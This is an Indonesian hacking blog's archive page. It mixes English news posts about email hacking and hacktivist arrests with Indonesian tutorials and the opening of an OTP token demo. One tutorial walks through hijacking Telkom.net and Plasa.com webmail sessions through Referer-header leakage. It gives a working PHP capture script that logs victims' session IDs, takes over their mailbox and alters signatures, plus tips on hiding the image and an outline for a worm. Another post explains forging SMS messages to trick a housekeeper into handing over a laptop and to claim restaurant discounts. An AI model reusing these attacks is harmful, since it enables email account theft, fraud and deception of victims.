Headlines News :

Latest Post

Tampilkan postingan dengan label HACKING. Tampilkan semua postingan
Tampilkan postingan dengan label HACKING. Tampilkan semua postingan

Sky News admits it hacked Canoe Man's email

Written By nAmmAsttE on Kamis, 03 Mei 2012 | 01.34

John and Anne DarwinBroadcaster Sky News has admitted that it authorised a journalist to hack email accounts on two separate occasions.
According to media reports, the TV stations's northern England correspondent, Gerard Tubb, accessed an email account belonging to John Darwin - the so-called "Canoe Man" who faked his own death as part of a complex fraud involving his wife.
The case gripped the British public's imagination, with canoeist John Darwin faking his own death at sea in 2002 only to subsequently walk into a London police station over five years later.
In a news report from 2008, which - at the time of writing - is still available on the Sky News website, the reporter described that he had uncovered evidence including emails that revealed why the missing man returned to Britain from Panama, and the the couple's plan to settle back in South America.
Sky News story. Click for larger version
A spreadsheet, allegedly created by the couple and describing their "masterplan", was also published by Sky News on its website.
Part of canoe man's spreadsheet published by Sky News
In addition, the same journalist is said to have accessed the email accounts of a suspected paedophile and his wife, but the information did not lead to a published or broadcast story.
The hacks are said to have been approved by Simon Cole, the managing editor of Sky News.
John Ryley, the head of Sky News, told The Guardian that the broadcaster had "authorised a journalist to access the emails of individuals suspected of criminal activity" and that the hacking in both cases was "justified and in the public interest".
Sky News has released an official statement justifying the hacking.
One has to question whether hacking someone's email account can ever be defended with a "public interest" defence. Unauthorised access to another individual's computer or email account is a breach of the Computer Misuse Act, a criminal offence that can lead to imprisonment.
The news of the Sky News-endorsed hack, which is part-owned by Rupert Murdoch's News Corporation, comes at a difficult time for the broadcaster.
Two days ago, James Murdoch resigned as chairman of BSkyB, in what was seen as an attempt to distance the firm from alleged wrongdoing at other parts of the News International empire such as the now-deceased News of the World.

What do you think? Were the hacks really in the public interest? Leave a comment below and let us know your views.

Anonymous hacker confesses to stealing abortion database records

Shadowy keyboard. Image from ShutterstockA hacker linked with the Anonymous movement has admitted to breaking into the website of Britain's biggest abortion service, and stealing the records of approximately 10,000 people.
27-year-old James Jeffery, of Wednesbury in the British West Midlands, stole the personal details of some 10,000 women from the website of the British Pregnancy Advisory Service (BPAS), and then bragged on Twitter that he would release the information to the public.
In addition, the hacker defaced BPAS's website, posting an anti-abortion message.
BPAS defaced website
An unborn child does not have an opinion, a choice or any rights. Who gave you the right to murder that unborn child and profit from that murder?
"The product, abortion, is skilfully marketed and sold to women at the crisis time in her life. She buys the product, and wants to return it for a refund. But it’s too late."

\\\ Hacked by PabloEscboar, Anonymous ///
You can imagine how traumatic it must have been for women who had made the difficult decision to go ahead with an abortion to hear that their decision might be made public knowledge by a hacker. Therefore, it was a relief to hear that the day after the hack, police had made an arrest.
BPAS's website allows people to make enquiries regarding abortion, contraception, pregnancy, testing for sexually transmitted diseases and sterilisation. However, it has been stressed that no medical or personal information regarding woman who have received treatment from the charity was obtainable - only details of those who had contacted BPAS's website.
Jeffrey told a Westminster Magistrate's Court hearing this weekend that he eventually decided against publishing the details in his possession because he thought doing so would be "wrong". He said that he targeted the British Pregnany Advisory Service because he was upset that two women he knew had made the decision to terminate their pregnancies.
Jeffery admitted two offences under the Computer Misuse Act. He was refused bail and will be sentenced at Southwark Crown Court at a later date.
The computer crime-fighting authorities should be congratulated for their swift action in this case - from crime to arrest to courtroom confession within 48 hours is pretty darn impressive.
Update: James Jeffery was sentenced to 32 months in jail in April 2012.

Alleged TeaMp0isoN teen hackers charged with jamming anti-terrorist hotline

Teen hacker, courtesy of ShutterstockLast week, UK police arrested two teenage boys following a series of prank calls and DoS (denial-of-service) attacks launched against the Anti-Terrorist Hotline.
A group that goes by the name of TeaMp0isoN posted a recording of what's presumably one of the prank calls on YouTube last Tuesday.
In the recording, a male calling himself Robert West (but called TriCk by another male in the background) chuckled and taunted the hotline operator.
The operator kept the caller on the phone long enough to a) claim to not understand the word "root"; b) taunt the prank caller over his accent, claiming that it sounded like he hailed from the United States (a charge that TriCk denied, stating that he drinks tea and has poor dental hygiene); and, one can only assume, c) trace the call.
Since they're minors, neither of the boys' names were released.
PC World reports that one of the boys, a 17-year-old from Birmingham, was charged in Westminster Magistrates' Court with one count of conspiracy to cause a public nuisance and one count of violating the Computer Misuse Act of 1990.
The other boy, a 16-year-old, was arrested for allegedly making hoax phone calls. He was bailed pending further enquiries, a MPS spokesman told PC World on Monday.
TeaMp0isoNA hacker who goes by the name of TriCk is one of the founders of TeaMp0isoN, a rival of LulzSec that's reportedly motivated by scorn for what they see as LulzSec's low hacking abilities.
TeaMp0isoN has been linked to a few high-profile escapades.
One was the July 2011 release of information about LulzSec members in an attempt to get them arrested.
Another was the January 2011 exploitation of a Facebook bug that led to unauthorized status updates posted on the accounts of Facebook founder Mark Zuckerberg and French President Nicolas Sarkozy.
According to PC World, police reported no confidential communications systems having been breached.
The call posted on YouTube was apparently recorded on the receiving end of the Anti-Terrorist Hotline, which is staffed by police to take tips from the public on potential terrorist-related activity.
When the hotline operators asked what TeaMp0isoN's mission was, the caller replied that it was to "embarrass governments and f*ck the police".
If the recording on YouTube is any indication, one might assume that Robert West/TriCk/whoever made the prank call might well feel embarrassed at this point, given how the police played him like a fiddle.
When the caller asked the operator if he could "root", this is how the conversation went:
Caller: "Yes, can you root?"
Operator: "No, I'm fine, thank you."
Caller: "No, no, no, no, sir, can you root?"
Operator: "Can I roux?"
Caller: "No, root. Root. R-O-O-T."
Operator: "Uhhhhh, yup, I can probably turn my hand to that." [Laughing]
Caller: "WHAT? WHAT, MATE?"
A commenter (calling themselves"Niinami") on the YouTube recording had this to say about the exchange:
You actually thought this was a good prank call? First of all let me just tell you that you got completely f*cking owned by the brits in this conversation... What ever you said they just couldn't care less. And now you have to pay money to get released from custody. This just proves that 16 year olds live in their own little 'world' where they think they know everything and think they are funny. Grow up and get yourself a proper hobby, or at least not fail when prank calling.
But lest we forget, it is likely the prank callers' parents who had to pay money for their spawn's release from custody.
My mind is filled with ideas for alternate hobbies that can replace prank phone calling to the people who protect us from terrorists.
Share your ideas, too, if anything occurs to you.

Hacking Email Telkom.net dan Plasa.com

Telkom.net dan Plasa.com adalah fasilitas email gratis yang diberikan oleh PT Telkom. Pengguna email telkomnet dan plasacom patut waswas, karena amat mudah untuk menghack email di sana. Hanya dengan membuka sebuah email yang telah dirancang khusus oleh attacker, email anda bisa menjadi milik attacker. Dalam artikel ini saya akan tunjukkan apa kelemahannya, bagaimana cara mengexploitasi kelemahan itu dan tentu saja bagaimana cara agar terhindar dari serangan itu.

Webmail Session Hijacking
Teknik hacking email dalam artikel ini adalah dengan cara hijacking session. Oleh karena itu teknik ini hanya bisa dilakukan pada webmail telkom.net dan plasa.com, pengguna telkom.net dan plasa.com yang menggunakan Outlook/Thunderbird tidak rentan terhadap serangan ini.
Karena http adalah protokol yang stateless, sedangkan untuk membuat session server harus bisa memantau state user, maka digunakanlah session ID sebagai kunci atau penanda suatu session. Bila sessionID diketahui attacker, maka attacker bisa menguasai session korban. Orang lain, siapapun yang membawa sessionID anda, akan dianggap oleh server sebagai anda. Hijacking session adalah usaha untuk mendapatkan session ID korban, dengan cara predicting, capturing, atau fixating session ID.
SessionID diberikan oleh server dan harus dikembalikan lagi oleh browser (client) setiap kali membuat request. Mekanisme penyimpanan dan pengiriman session ID bisa dilakukan dengan dua cara:
  1. Session Cookie: Session ID diberikan server dalam bentuk cookie dan disimpan oleh browser. Setiap browser melakukan request, cookie tersebut akan dikembalikan ke server lagi sebagai bukti bahwa user tersebut adalah masih orang yang sama.
  2. URL Rewriting: Server menyisipkan session ID dalam halaman html yang dikirimkan ke browser. Session ID tersebut dimasukkan dalam bentuk URL di tag html tertentu seperti link (tag A). Contohnya bila URL link aslinya adalah http://www.somesite.com/inbox.php Oleh server link tersebut akan disisipkan sessionID menjadi:
    <A href="http://www.somesite.com/inbox.php?PHPSESSID=xxxxxxxxx">INBOX</A>
    Dengan cara ini setiap kali user mengklik link tersebut, maka sessionID juga akan dikirim ke server sebagai bukti bahwa user tersebut adalah pengguna session yang sah.
SessionID paling aman disimpan dan dikirim kembali ke server dalam bentuk cookie, apalagi bila cookie tersebut diamankan dengan bit secure atau httponly (baca: protecting cookie with httponly ). Kemungkinan serangan yang bisa dilancarkan untuk mencuri cookie adalah dengan XSS attack dan sniffing attack, kedua jenis serangan itu bisa dicegah dengan bit secure dan httponly.
Bila cookie telah diamankan dengan secure bit, maka cookie tersebut tidak bisa dicuri dengan sniffing karena cookie hanya dikirim melalui https, cookie tersebut juga tidak bisa dicuri dengan serangan XSS karena akses javascript terhadap cookie telah ditutup. Bila cookie hanya dilindungi dengan httponly, maka cookie itu aman dari serangan XSS, namun rentan sniffing bila cookie dikirimkan melalui http biasa.
Berbeda dengan cookie, menyimpan Session ID dalam URL sangatlah berbahaya, karena URL mudah dilihat, dikopi dan disimpan dalam bookmark, log file dan sebagainya. Selain itu sessionID juga bisa bocor ke tempat lain melalui header Referer. Sebab header Referer bertugas membawa URL dimana sebuah request dilakukan. Bila dalam suatu halaman terjadi request untuk mengambil gambar, maka header Referer akan mengandung URL dari halaman tersebut. Dalam artikel ini saya akan menggunakan jurus header Referer untuk membajak session webmail Telkom.net dan Plasa.com. Bagi pemilik situs, tentu sering melihat header ini dengan program statistic seperti Awstats untuk melihat pengunjung situs berasal dari situs mana saja.
telkom.net URL
telkom.net URL

plasa.com URL
plasa.com URL
SessionID webmail Telkom.net dan Plasa.com disimpan pada URL sehingga memudahkan pembajakan session. Mari kita lihat bagaimana bentuk URL webmail telkom.net dan plasa.com:
http://mail.telkom.net/Session/206017-7vY8EVuJF2935NV9Fhzl-kmbcuww/mailbox.wssp?Mailbox=INBOX&amp;
http://mail1.plasa.com/Session/70174-k2O8e3vcnJEFxmxWYpOX-kmbcuwc/mailbox.wssp?Mailbox=INBOX&amp;
Stealing SessionID from Referer Header
Session ID pada URL telkom.net dan plasa.com disisipkan setelah /Session/ hingga karakter / (slash). Sekarang bagaimana caranya attacker bisa mengetahui URL yang sedang dibuka korban di browsernya? Di awal saya sudah menyebutkan sekilas tentang header request yang bernama Referer. Tugas dari header ini adalah mengirimkan URL halaman yang melakukan request. Agar lebih jelasnya mari kita lihat sebuah contoh.
Ketika pengunjung sedang membuka halaman dengan URL:
http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/Mailbox.wssp?Mailbox=INBOX
Kemudian ketika terjadi request ke sebuah file image:
http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif
Maka pada request GET tersebut akan ada header seperti di bawah ini:
1
2
3
4
5
6
7
8
9
10
11
GET /Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif HTTP/1.1
Host: mail.telkom.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.0.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/mailbox.wssp?Mailbox=INBOX&
Cache-Control: max-age=0
Pada baris ke-10 terdapat header Referer yang menunjukkan bahwa request tersebut terjadi ketika kepada user sedang berada di URL tersebut. Karena URL yang direquest adalah http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif, maka web server mail.telkom.net tempat file batal.gif tersebut berada, dapat mengetahui URL ketika request tersebut terjadi. Sekarang bayangkan apa yang terjadi bila request tersebut bukan mendownload image dari mail.telkom.net, tapi dari server www.evilhackersite.com/image.jpg. Web server di www.evilhackersite.com tentu akan mendapatkan URL tempat terjadinya request dari header Referer. Dan karena URL tersebut mengandung Session ID, maka dengan mudah attacker akan membajak session anda.
Attack Scenario
Webmail telkom.net dan plasa.com menggunakan URL sebagai mekanisme pertukaran session ID. Attacker bisa menjebak korban untuk membuka sebuah email yang mengandung gambar yang berlokasi di server attacker. Tag IMG tersebut akan membuat browser korban melakukan request ke server attacker, dengan tentu saja mengirimkan URL korban dalam header Referer. Dengan mengetahui session ID korban, attacker dengan mudah menguasai account webmail korban.
Preparing the Script
Sebelum bisa melakukan serangan, yang pertama harus dilakukan adalah menyiapkan server side script sebagai target request untuk menangkap SessionID korban. Server side script ini akan di-”masking” sebagai file JPG dengan menggunakan mod_rewrite Apache (.htaccess). Server side script yang dimasking sebagai file JPG inilah yang akan dimasukkan dalam tag IMG dalam email yang dibaca korban. Bila korban membaca email attacker, maka akan terjadi request ke server side script itu, sehingga attacker bisa mendapatkan session ID korban dan menguasai emailnya.
URL yang akan kita jadikan tujuan request adalah: http://www.ilmuhacking.com/mylab/image.jpg yang sebenarnya adalah masking untuk server side script http://www.ilmuhacking.com/mylab/checkmail.php. Dengan menggunakan mod_rewrite Apache dan settings .htacess berikut ini masking checkmail.php menjadi image.jpg bisa dilakukan:
1
2
3
RewriteEngine On
RewriteBase /
RewriteRule mylab/image.jpg mylab/checkmail.php
Berikutnya saya harus menyiapkan file checkmail.php. Tugas dari script php itu adalah mendapatkan session ID kemudian langsung membajak session korban bermodalkan session ID tersebut.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
// Ambil header Referer
$ref = $_SERVER["HTTP_REFERER"];
$telkomnet = false;
$plasacom = false;
$width = 468;
$height = 100;
if (strpos($ref,"telkom.net")>-1) {
$telkomnet = true;
}
if (strpos($ref,"plasa.com")>-1) {
$plasacom = true;
}
if ($telkomnet===false && $plasacom===false) {
exit();
}
 
$file = fopen("daftarkorban.txt","a");
$url_tokens = parse_url($ref);
$host = $url_tokens["host"];
$tokens = explode("/",$ref);
$sessid = $tokens[4];
fwrite($file,"######\n");
fwrite($file,"REFERER:".$_SERVER["HTTP_REFERER"]."\n");
fwrite($file,"SESSID:".$sessid."\n");
 
$urlhost = "http://$host/Session/$sessid/mailbox.wssp?Mailbox=INBOX&";
$inboxhtml = file_get_contents($urlhost);
 
preg_match('/<title>(.*?)<\/title>/i', $inboxhtml, $matches);
$title=$matches[1];
$email = $title;
$pos = strpos($title," ");
if ($pos > -1) {
$email = substr($title,0,$pos);
}
 
fwrite($file,"KORBAN:".$email."\n");
fwrite($file,"******\n");
fclose($file);
 
$image = ImageCreate($width, $height);
$white = ImageColorAllocate($image, 255, 255, 255);
$black = ImageColorAllocate($image, 0, 0, 0);
$grey = ImageColorAllocate($image, 204, 204, 204);
ImageFill($image, 0, 0, $black);
ImageString($image, 3, 15, 5, $sessid, $white);
ImageString($image, 3, 25, 25, $email, $white);
 
// Writing Signature...
$url = "http://mail.telkom.net/Session/$sessid/settings.wssp";
if ($plasacom==true) {
$url = "http://mail1.plasa.com/Session/$sessid/settings1.wssp";
}
$old_settings = file_get_contents($url);
preg_match('/<textarea(.*?)>(.*?)<\/textarea>/i', $old_settings, $matches);
$oldsig = $matches[2];
 
$data = array();
$data["UserFrom"] = $email;
$newsig = "[YOUR EMAIL HAS BEEN HACKED]".$oldsig;
$data["Signature"] = $newsig;
$data["Update"] = "Update";
 
$response = doPost($url,$data);
if ((strpos($response,"Updated")>-1 && $telkomnet==true) || $plasacom==true) {
ImageString($image, 3, 35, 50, "Signature anda berhasil diganti menjadi:" , $white);
ImageString($image, 3, 45, 65, $newsig , $white);
}
header("Content-Type: image/jpeg");
ImageJpeg($image);
ImageDestroy($image);
 
function doPost($url,$data) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
if(curl_errno($ch))
{
$response = curl_error($ch);
}
curl_close($ch);
return $response;
}
?>
Cara kerja script di atas adalah: Pada baris ke-3 isi header Referer diambil. Kemudian dibuat dan dibuka file daftarkorban.txt. File ini adalah log yang menyimpan daftar korban. Pada baris ke-22, session ID diambil dari header referer. Setelah session ID didapatkan kini script bisa mengubah signature korban, dengan cara mengirimkan POST request ke http://mail.telkom.net/Session/[SESSIONID_KORBAN]/settings.wssp, perhatikan baris ke-65. Setelah mengubah signature korban, pada baris ke-66 sampai baris ke-72, script membuat image dengan pesan “Signature anda berhasil diganti menjadi:”.
Launch The Attack
Oke, kini semua persiapan sudah siap. Kini saatnya kita melancarkan serangan dengan mengirimkan email html yang mengandung tag IMG. Dalam contoh attacker adalah rizki.wicaksono@telkom.net dan korban adalah rizki.wicaksono@plasa.com. Ingat ini hanya contoh, dalam kenyataannya attacker bisa menggunakan email apapun, bahkan email palsu (anonymous). Perhatikan gambar berikut ini yang menunjukan bagaimana email yang berisi jebakan dibuat dan ditujukan untuk korban.
compose attack email
compose attack email
Dalam gambar tersebut email diisi dengan tag HTML IMG. Perhatikan bahwa saya bisa saja membuat image tersebut invisible dengan memberikan atribut width dan src 0. Dengan membuat image menjadi invisible, korban tidak akan menyadari bahwa emailnya telah dibajak. Tapi untuk contoh saya membiarkan gambar berukuran besar. Berikut ini adalah isi tanda tangan (signature) email korban sebelum email dibuka.
signature1
Dan gambar berikut adalah gambar ketika email attacker tiba.
email attacker tiba
email attacker tiba
Dan gambar berikut adalah gambar ketika email attacker dibuka oleh korban. Pada gambar tersebut terlihat bahwa session id korban dan pesan bahwa signature korban berubah tertulis dalam file image.jpg.
victim open email and his session hijacked instantly
victim open email and his session hijacked instantly
Pada saat korban membuka email dari attacker, pada saat itu juga attacker menguasai penuh account email korban. Dalam contoh artikel ini attacker mengubah signature korban dengan menambahkan string [YOUR EMAIL HAS BEEN HACKED]. Berikut ini adalah gambar signature korban setelah korban membuka email attacker.
signature2
Worm Attack: More Dangerous Scenario
Skenario serangan yang lebih berbahaya adalah bila attacker mengeksploitasi kelemahan ini untuk menciptakan worm. Ingat bahwa ketika attacker mendapatkan session ID, pada saat itu attacker memiliki power yang setara dengan korban. Dengan session korban, attacker bisa mengirimkan email serangan yang sama ke calon korban lain yang ada di dalam daftar buku alamat korban. Begitu teman korban membuka email itu, maka session dia juga dalam genggaman attacker dan dia juga akan menyebarkan serangan ke teman-temannya. Hal ini akan memicu reaksi berantai yang berbahaya.
Sulitkah membuat worm seperti itu? Tidak sulit kok, mudah sekali. Semua itu tidak lebih dari kombinasi request GET dan POST dengan berbekal session ID korban. Attacker harus membaca phone book dengan mengirim request HTTP (GET/POST) dengan session ID korban. Setelah itu attacker akan mengirimkan email serangan ke teman-teman korban juga dengan melakukan request HTTP dengan session ID korban. Begitu seterusnya. Tidak sulit bukan, apalagi buat orang yang sudah sering memprogram.
Tips Menghindari Serangan
Karena serangan ini dilakukan dengan membajak session web, maka serangan ini hanya bisa dilakukan bila korban membaca email telkom.net dan plasa.com dengan webmail. Jadi agar terhindar dari serangan ini, gunakanlah akses POP3 atau IMAP untuk membaca email. Dengan menggunakan email client non-web seperti Thunderbird dan Outlook anda akan aman dari serangan ini.
No related posts.

Membuat Fake SMS


symbian
symbian
Tidak banyak orang yang tahu bahwa sms yang berada di inbox bisa dibuat sendiri oleh pemilik hp, tanpa harus ada campur tangan orang lain. Hal ini mudah dilihat dari banyaknya orang yang percaya bahwa isi inbox adalah bukti kuat dan otentik bahwa orang lain telah mengirimkan sms padanya.

Bagaimana jika teman anda mengatakan bahwa si X telah mengirimkan sms bernada kurang ajar pada dia. Mungkin anda tidak percaya bukan? Bagaimana bila anda menemukan “bukti” sms dari X yang isinya memang bernada kurang ajar. Bagi orang awam isi sms ini adalah bukti yang sangat kuat, tak terbantahkan bahwa X benar-benar telah mengirimkan sms bernada kurang ajar, maka dari itu X perlu diberi pelajaran.
Setelah membaca tulisan ini anda akan tidak mudah percaya hanya dengan melihat inbox hp orang lain.
HP tidaklah berbeda dengan komputer, ada prosesor, memori, storage dan tentu saja sistem operasi. Sistem operasi hp yang banyak dikenal adalah Windows Mobile dan Symbian. inbox, sent, draft dsb juga kurang lebih seperti folder. Yang biasa dilakukan di hp adalah mengkopi/memindahkan message dari satu folder ke folder lainnya seperti dari draft ke sent atau dari inbox ke saved messages. Memang tidak ada menu untuk membuat sms dan menyimpannya di inbox. Namun bukan berarti tidak mungkin dilakukan, karena sebenarnya fungsi atau APInya di sistem operasi sudah tersedia. Tinggal dibuat programnya saja untuk melakukan itu.
fake sms
fake sms
Program yang bisa membuat sms fake untuk HP Symbian adalah program Y-Fake. Cara instalasinya adalah, download dari drjukka.com/FakeMessages.html. Setelah didownload, extract file zipnya. Akan didapatkan file .SIS yang belum di-sign. Sebelum bisa diinstall di hp harus di-sign dulu di www.symbian-signed.com, pilih “Open Signed Online” kemudian isi formnya. Setelah didownload tinggal di-install di HP Symbian anda.
Cara pakainya gampang, bikin message baru, isi sender number dan sender name yang akan menjadi field From, kemudian isi pesannya dan jam kirim. Tunggu sampai jamnya tercapai akan ada sms masuk ke inbox.
Cobalah bereksperimen untuk menggunakan bermacam-macam pengirim. Anda bisa coba nomor pendek 4 digit, alphanumeric, atau nomor panjang (biasanya perlu ditambahkan +62).
Kalau nama dan pengirim berbeda maka yang muncul di message detail adalah: Nama . Contoh: From: Rizki <+6281….> Kalau nama dan pengirim diisi sama, maka yang muncul hanya salah satunya saja tanpa kurung < > . Kalau ingin tampak sebagai nomor panjang, isikan dengan nomor yang sama di bagian nama maupun nomor misalkan +62813….. Kalau ingin tampak sebagai alphanumeric, maka isikan alphanumeric yang sama di bagian nama maupun nomor misalkan “INDOSAT”.
Cara ini sepenuhnya GRATIS, tidak perlu bayar apapun karena tidak hubungannya dengan koneksi jaringan apapun, semua dilakukan dalam hp sendiri secara local. Saya sudah coba dan test di E90 saya, hasilnya sangat memuaskan, tidak bisa dibedakan bahkan setelah membuka “Message Detail”.
Social Engineering Technique
Social engineering singkatnya adalah teknik merayu, membujuk dan menipu orang lain untuk keuntungan pelaku. Dengan fake sms ini teknik social engineering menjadi sangat efektif. Salah satu contoh skenarionya adalah:
Misalkan ada yang ingin mencuri laptop di sebuah rumah. Dia bisa membuat sms di inboxnya dengan From adalah nomor HP yang punya rumah, isinya misalkan: “Tolong bawa dan bersihkan laptop saya dari virus.” Si maling bisa dengan pede datang dan mengatakan ke pembantu di rumah bahwa dia adalah teknisi laptop. Sebagai buktinya dia tunjukkan hpnya yang di sana berisi sms dari yang punya rumah. Si pembantu yang sudah hapal betul nomor majikannya tentu saja percaya. “Oh iya ini nomor majikan saya, silakan masuk mas, saya bawakan laptopnya. Mau minum apa?”.
Exploiting Discount by SMS Program
sms discount
Program ini memang jarang terdengar. Program ini mengandalkan sms pada inbox sebagai bukti bahwa pemilik HP berhak mendapatkan diskon.
Salah satu contohnya adalah OvisSMS. Cukup dengan mengirimkan sms ke 3910, lalu menunjukkan sms yang diterima dari 3910 ke restoran, maka pemilik HP berhak mendapatkan diskon sejumlah tertentu.
sms reply
sms reply
Karena SMS balasannya tidak mengandung kode unik tertentu sebagai fitur keamanan, maka mudah untuk membuat fake sms dari nomor 3910. Contoh balasan sms dari 3910 adalah:JAK123482 62856XXXX VALID 10/07/07 …. dan seterusnya. Dalam sms balasan tersebut hanya disebutkan kode merchant, nomor hp, tanggal valid dan diskon yang berhak didapatkan.
Dengan membuat sms sendiri dengan nomor pengirim 3910 yang mirip dengan sms balasan yang asli, maka sulit bagi merchant untuk membedakan mana yang asli dan palsu.
Seharusnya dalam sms tersebut ditambahkan fitur keamanan. Bisa berupa  kode unik yang bisa digunakan oleh merchant untuk melakukan validasi, apakah sms asli atau tidak dan apakah sms diskon ini sudah pernah dipakai.
Kesimpulan
Skenario social engineering lainnya sangat banyak, tergantung imajinasi masing-masing orang. Ini berbahaya karena banyak sekali orang yang sangat percaya bahwa sms di INBOX adalah benar-benar dikirim oleh orang yg terlihat di field From, sehingga mudah dihasut dan ditipu.
Harus dipahami bahwa “sms can be spoofed” jadi belum tentu sms di inbox hp benar-benar dikirim oleh orang yang tercantum pada field From/Pengirim.
No related posts.

Membuat Web dengan Otentikasi berbasis Token

Pada artikel sebelumnya saya sudah menjelaskan cukup detil tentang cara kerja token yang dipakai pada internet banking. Artikel tersebut hanya menjelaskan sebatas teoretis saja, saya pikir akan lebih baik bila ada prakteknya. Oleh karena itu, seperti yang sudah saya janjikan, kali ini saya akan membuat sebuah contoh sederhana website dengan otentikasi yang menggunakan token seperti pada situs internet banking. Aplikasi token yang saya buat ini dikembangkan dari aplikasi yang bernama Mobile-OTP, dari aplikasi itu saya tambahkan beberapa fitur agar mirip dengan token yang dipakai di internet banking. Sedangkan aplikasi server/website saya harus membuat sendiri dari awal karena tidak tersedia di Internet.
Persiapan
Ada dua komponen yang terlibat dalam sistem ini, yaitu token yang dipakai oleh client dan tentu saja server. Token ada yang berwujud fisik seperti kalkulator kecil, ada juga yang berwujud software yang disebut juga virtual token. Sebenarnya token fisik maupun software sama saja, jadi dalam artikel ini saya akan membuat token yang berwujud software. Lebih spesifik lagi token ini dibuat dengan Java Mobile sehingga bisa diinstall di handphone yang mendukung Java. Jadi wujud fisik token yang berbentuk kalkulator bisa digantikan dengan wujud fisik sebuah handphone. Dalam artikel ini saya akan menggunakan emulator handphone yang dibundel dari Java Wireless Toolkit.
Komponen lainnya adalah server. Diperlukan web server dan database server, dalam artikel ini saya pakai XAMPP yang sudah dibundel dengan Apache, PHP dan MySQL.
Spesifikasi One Time Password di Aplikasi Contoh
Dalam aplikasi contoh ini, one time password didapatkan dengan mengambil 6 karakter pertama hasil penghitungan hash dengan fungsi MD5. Granularity sistem ini adalah 10 detik, dengan kata lain setiap 10 detik token akan menghasilkan OTP yang berbeda. Jika anda meminta token mengeluarkan OTP beberapa kali dalam rentang 10 detik, maka semuanya akan menghasilkan OTP yang sama. Kemudian baru ketika waktu masuk ke 10 detik berikutnya token akan menghasilkan OTP yang baru.
Dalam aplikasi contoh ini, umur OTP adalah 3 menit, artinya server harus menghitung semua OTP dalam time window 6 menit, yaitu 3 menit ke belakang dan 3 menit ke depan relatif terhadap waktu ketika server melakukan otentikasi. Konsekuensinya adalah setiap OTP yang dihasilkan token akan dianggap valid bila belum pernah dipakai dalam 3 menit sejak OTP dibangkitkan.
Spesifikasi Software Token
Token yang akan saya buat ini nantinya memiliki fitur yang sama dengan token internet banking pada umumnya. Pada kondisi normal nilai init-secret sudah ditanam di dalam token secara hardware, namun dalam token contoh ini tersedia fitur untuk melakukan inisialisasi nilai init-secret. Init-secret ini harus dicatat juga di server agar server bisa menghasilkan OTP yang sama dengan token.
Token bisa menghasilkan OTP dalam mode Challenge/Response maupun dalam mode Response Only (self generated). Challenge yang diterima oleh token adalah sepanjang 4 digit dan menghasilkan response sepanjang 6 digit hexadesimal.
Spesifikasi Website
Website dalam aplikasi contoh ini saya buat dengan PHP. Aplikasi ini terdiri dari 2 file saja, yaitu login.php dan transfer.php. Login.php digunakan untuk melakukan login dengan menggunakan response only pin dari token. Sedangkan transfer.php adalah untuk melakukan transfer uang dengan menggunakan challenge/response pin dari token.
Aplikasi ini saya pasang pada localhost yang terinstall Apache+MySQL+PHP dari XAMPP. Sebelum bisa melakukan transfer uang, user harus melakukan login di URL https://localhost/mytestbank/login.php . Perhatikan URL tersebut sengaja saya memakai https agar mirip dengan internet banking. Tentu saja browser anda akan berontak ketika menggunakan https karena memang saya tidak punya sertifikat yang ditandatangani CA untuk localhost. Bila anda kesulitan mengonfigurasi browser anda untuk memakai https tersebut, anda boleh memakai http biasa.
Pada saat login user diminta memasukkan username dan OTP yang dihasilkan dari token dalam mode response only (self generated). Bila login berhasil, maka user dialihkan ke halaman https://localhost/mytestbank/transfer.php . Berbeda dengan halaman login, pada saat transfer user diminta untuk memasukkan OTP dari token dalam mode challenge/response. Server memberikan challenge sepanjang 4 digit angka.
Aplikasi ini juga membutuhkan sebuah tabel MySQL bernama users yang saya masukkan dalam database bernama mytestbank. Tabel ini digunakan untuk menyimpan informasi pengguna website. Berikut adalah script SQL untuk membuat tabel users.
CREATE TABLE IF NOT EXISTS `users` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`username` VARCHAR(255) NOT NULL,
`initsecret` VARCHAR(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
Agar lebih mudah sebaiknya anda menginstall XAMPP atau WAMP dan menggunakan PhpMyAdmin untuk membuat tabel users tersebut.
Pembuatan Token
Token dibuat dengan Java Mobile (disebut midlet) yang sangat sederhana. Midlet ini hanya terdiri dari 2 file, yaitu MD5.java dan MobileOTP.java. Class MD5 adalah library untuk menghitung nilai hash MD5. Sedangkan class MobileOTP adalah class utama. Karena sourcenya cukup panjang, anda bisa mendownload sourcenya dalam file zip di sini. File zip itu bisa langsung anda extract ke dalam folder apps dalam Java Wireless Toolkit bila ingin menjalankan midlet itu dengan menggunakan emulator.
Saya akan menjelaskan fungsi utama dari token yaitu membangkitkan OTP dalam mode Challenge/Response dan mode Response Only. Perhatikan potongan kode token berikut yang berfungsi untuk membangkitkan OTP dalam mode Response Only.
now=new Date();          
epoch=""+(now.getTime()+((timez-12)*3600000));
epoch=epoch.substring(0,epoch.length()-4);
String otp=epoch+secret;
MD5 hash=new MD5(otp);
otp=hash.asHex().substring(0,6);
